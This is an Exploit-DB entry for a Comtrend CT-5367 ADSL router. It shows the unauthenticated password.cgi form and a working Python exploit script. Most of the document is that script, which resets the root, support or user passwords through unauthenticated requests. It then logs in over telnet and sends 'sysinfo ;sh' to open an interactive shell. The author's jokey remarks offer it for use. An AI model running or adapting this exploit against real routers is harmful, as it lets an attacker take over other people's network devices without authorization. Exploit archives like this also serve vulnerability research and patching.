COMTREND ADSL Router CT-5367 - Remote Code Execution

EDB-ID: 43389
Author: TnMch
Published: 2017-12-26
CVE: N/A
Type: Remote
Platform: Hardware
Vulnerable App: N/A

 # Date: 11-12-2017 
# Exploit Author: TnMch
# Software Link : null
# Type : HardWare
# Risk of use : High
# Type to use : Remote


1. Description

Any user can edit all users password and execute remote code directly without have access

2. Proof of Concept

request this page before login to ADSL panel : 192.168.1.1/password.cgi/password.cgi

<form>
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td width="120">Username:</td>
<td><select name='userName' size="1">
<option value="0">
<option value="1">root <!-- admin -->
<option value="2">support <!-- support -->
<option value="3">user <!-- user -->
</select></td>
</tr>
<tr>
<td>Old Password:</td>
<td><input name='pwdOld' type="password" size="20" maxlength="16"></td>
</tr>
<tr>
<td>New Password:</td>
<td><input name='pwdNew' type="password" size="20" maxlength="16"></td>
</tr>
<tr>
<td>Confirm Password:</td>
<td><input name='pwdCfm' type='password' size="20" maxlength="16"></td>
</tr>
</table>
<br>
<center><input type='button' onClick='btnApply()' value='Save/Apply'></center>
</form>


3 .exploit


#!/usr/bin/env python
import platform
import requests
import base64

url = "http://192.168.1.1/"

''' first check default gateway '''

r = requests.get(url,allow_redirects=True)
resp = r.content

'''Check resp'''

if 'Authorization' not in resp:
exit("[-]Invalid host !! ")

''' Change password '''

again = True

while again:
print "Which User"
print "(root | support | user )"
user = raw_input('user : ').split()[0]

if user not in ("root","support","user"):
exit("[-] No user with this name !! ")

print "[+] Update password ",user
password = raw_input('new password : ').split()[0]
print "[+] Update new password ['",password,"']"

if user == "root":
url +="password.cgi?sysPassword="+password
if user == "support":
url +="password.cgi?sptPassword="+password
if user == "user":
url +="password.cgi?usrPassword="+password

pass_b64 = password.encode('base64').split()[0]

r2 = requests.get(url,allow_redirects=True)
resp2 = r2.content

''' Check update '''

if pass_b64 in resp2:
print "[+] Password for user : ",user," updated!"
print "Happy hacking :D, enjoy"
else:
print "[-] Something Wrong , please check again! "

y_n = raw_input('Do you want again? :D (y/n) : ').split()[0]

if 'n'!= y_n and 'y' != y_n:
exit('bad input :(')
if y_n == 'n':
print "Go Go Go :D ,No Time for you Mr.Robot"
shell_yn= raw_input("Do you want shell? (y/n) :D : ").split()[0]
if shell_yn !='n':
sys = platform.system()
if sys =="Windows":
exit("Sorry only on Linux or Mac Os")
from pwn import *
target = "192.168.1.1"
port = 23
p = remote(target,port)
p.recvuntil("Login:")
p.sendline(user)
p.recvuntil("Password:")
p.sendline(password)
p.sendline("sysinfo ;sh")
p.interactive()
again = False

Related Posts